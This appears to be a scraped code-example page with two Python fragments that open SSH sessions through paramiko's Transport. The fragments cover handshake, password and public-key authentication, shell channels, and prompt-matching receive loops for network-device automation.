            from paramiko import Transport  # noqa
        except ModuleNotFoundError as exc:
            err = f"Module '{exc.name}' not installed!"
            msg = f"***** {err} {'*' * (80 - len(err))}"
            fix = (
                f"To resolve this issue, install '{exc.name}'. You can do this in one of the "
                "following ways:\n"
                "1: 'pip install -r requirements-paramiko.txt'\n"
                "2: 'pip install ssh2net[paramiko]'")
            warning = "\n" + msg + "\n" + fix + "\n" + msg
            warnings.warn(warning)
            raise RequirementsNotSatisfied
        try:
            self.session = Transport(self.sock)
            self.session.start_client()
            self.session.set_timeout = self._set_timeout
        except Exception as exc:
            logging.critical(
                f"Failed to complete handshake with host {self.host}; "
                f"Exception: {exc}")
            raise exc

    def _session_public_key_auth(self) -> None:
        """
        Perform public key based auth on SSH2NetSession

        Args:
            N/A  # noqa

        Returns:
            N/A  # noqa

        Raises:
            Exception: catch all for unhandled exceptions

        """
        try:
            self.session.auth_publickey(self.auth_user, self.auth_public_key)
        except AuthenticationException:
            logging.critical(
                f"Public key authentication with host {self.host} failed.")
        except Exception as exc:
            logging.critical(
                "Unknown error occurred during public key authentication with host "
                f"{self.host}; Exception: {exc}")
            raise exc

    def _session_password_auth(self) -> None:
        """
        Perform password or keyboard interactive based auth on SSH2NetSession

        Args:
            N/A  # noqa

        Returns:
            N/A  # noqa

        Raises:
            AuthenticationFailed: if authentication fails
            Exception: catch all for unknown other exceptions

        """
        try:
            self.session.auth_password(self.auth_user, self.auth_password)
        except AuthenticationException as exc:
            logging.critical(
                f"Password authentication with host {self.host} failed. Exception: {exc}."
                "\n\tNote: Paramiko automatically attempts both standard auth as well as keyboard "
                "interactive auth. Paramiko exception about bad auth type may be misleading!"
            )
            raise AuthenticationFailed
        except Exception as exc:
            logging.critical(
                "Unknown error occurred during password authentication with host "
                f"{self.host}; Exception: {exc}")
            raise exc

    def _channel_open_driver(self) -> None:
        """
        Open channel

        Args:
            N/A  # noqa

        Returns:
            N/A  # noqa

        Raises:
            N/A  # noqa

        """
        self.channel = self.session.open_session()
        self.channel.get_pty()
        logging.debug(f"Channel to host {self.host} opened")

    def _channel_invoke_shell(self) -> None:
        """
        Invoke shell on channel

        Additionally, this "re-points" some ssh2net method calls to the appropriate paramiko
        methods. This happens as ssh2net is primarily built on "ssh2-python" and there is not
        full parity between paramiko/ssh2-python.

        Args:
            N/A  # noqa

        Returns:
            N/A  # noqa

        Raises:
            N/A  # noqa

        """
        self._shell = True
        self.channel.invoke_shell()
        self.channel.read = self._paramiko_read_channel
        self.channel.write = self.channel.sendall
        self.session.set_blocking = self._set_blocking
        self.channel.flush = self._flush

    def _paramiko_read_channel(self):
        """
        Patch channel.read method for paramiko driver

        "ssh2-python" returns a tuple of bytes and data, "paramiko" simply returns the data
        from the channel, patch this for parity with "ssh2-python".

        Args:
            N/A  # noqa

        Returns:
            N/A  # noqa

        Raises:
            N/A  # noqa

        """
        channel_read = self.channel.recv(1024)
        return None, channel_read

    def _flush(self):
        """
        Patch a "flush" method for paramiko driver

        Need to investigate this further for two things:
            1) is "flush" even necessary when using ssh2-python driver?
            2) if it is necessary, is there a combination of reads/writes that would implement
                this in a sane fashion for paramiko

        Args:
            N/A  # noqa

        Returns:
            N/A  # noqa

        Raises:
            N/A  # noqa

        """
        while True:
            time.sleep(0.01)
            if self.channel.recv_ready():
                self._paramiko_read_channel()
            else:
                self.channel.write("\n")
                return

    def _set_blocking(self, blocking):
        # Add docstring
        # need to reset timeout because it seems paramiko sets it to 0 if you set to non blocking
        # paramiko uses seconds instead of ms
        self.channel.setblocking(blocking)
        self.channel.settimeout(self.session_timeout / 1000)

    def _set_timeout(self, timeout):
        # paramiko uses seconds instead of ms
        self.channel.settimeout(timeout / 1000)
Ejemplo n.º 18
0
class ParamikoSshConnection(BaseSshConnection):
    def connect(self, wait_prompt=True):
        self.socket = socket(AF_INET, SOCK_STREAM)
        self.socket.connect((self.hostname, self.port))
        self.session = Transport(self.socket)
        self.session.start_client()
        if self.password is not None:
            self.session.auth_password(self.username, self.password)
        elif self.key_algorithm != DSA_KEY_ALGORITHM:
            key = RSAKey.from_private_key_file(
                self.private_key_file, self.key_passphrase
            )
            self.session.auth_publickey(self.username, key)
        else:
            key = DSSKey.from_private_key_file(
                self.private_key_file, self.key_passphrase
            )
            self.session.auth_publickey(self.username, key)

        self.channel = self.session.open_session()
        self.channel.get_pty()
        self.channel.invoke_shell()
        if wait_prompt:
            self.receive()

    @property
    def connected(self):
        return bool(
            self.socket
            and not self.socket._closed
            and self.session
            and self.channel
        )

    def send(self, line, socket_timeout=None):
        socket_timeout = (
            socket_timeout
            if socket_timeout is not None
            else self.socket_timeout
        )
        self.channel.settimeout(socket_timeout)
        size = self.channel.sendall(line + "\n")
        return size

    def receive(
        self, regex=None, socket_timeout=None, timeout=None, buffer_size=None
    ):
        regex = regex if regex is not None else self.prompt_regex
        socket_timeout = (
            socket_timeout
            if socket_timeout is not None
            else self.socket_timeout
        )
        timeout = timeout if timeout is not None else self.timeout
        buffer_size = (
            buffer_size if buffer_size is not None else self.buffer_size
        )

        assert regex is not None
        assert socket_timeout is None or isinstance(
            socket_timeout, (int, float)
        )
        assert timeout is None or isinstance(timeout, (int, float))
        assert isinstance(buffer_size, int) and buffer_size > 0

        self.channel.settimeout(socket_timeout)
        start = time()
        output = self.channel.recv(buffer_size).decode()
        LOG.debug(output)
        size = len(output)
        duration = time() - start
        while (
            not regex.search(output)
            and (timeout is None or duration < timeout)
            and size > 0
        ):
            data = self.channel.recv(buffer_size).decode()
            LOG.debug(data)
            size = len(data)
            output += data
            duration = time() - start

        if size < 0 and size != LIBSSH2_ERROR_EAGAIN:
            raise ReceiveException(size, output, duration)

        if not size:
            raise SocketTimeoutException(
                output, socket_timeout, duration, regex.pattern
            )

        if timeout is not None and duration >= timeout:
            raise ReceiveTimeoutException(
                output, timeout, duration, regex.pattern
            )

        return self.sanitize(output)

    def disconnect(self):
        if self.session:
            self.session.close()

        if self.channel:
            self.channel.close()

        if self.socket:
            self.socket.close()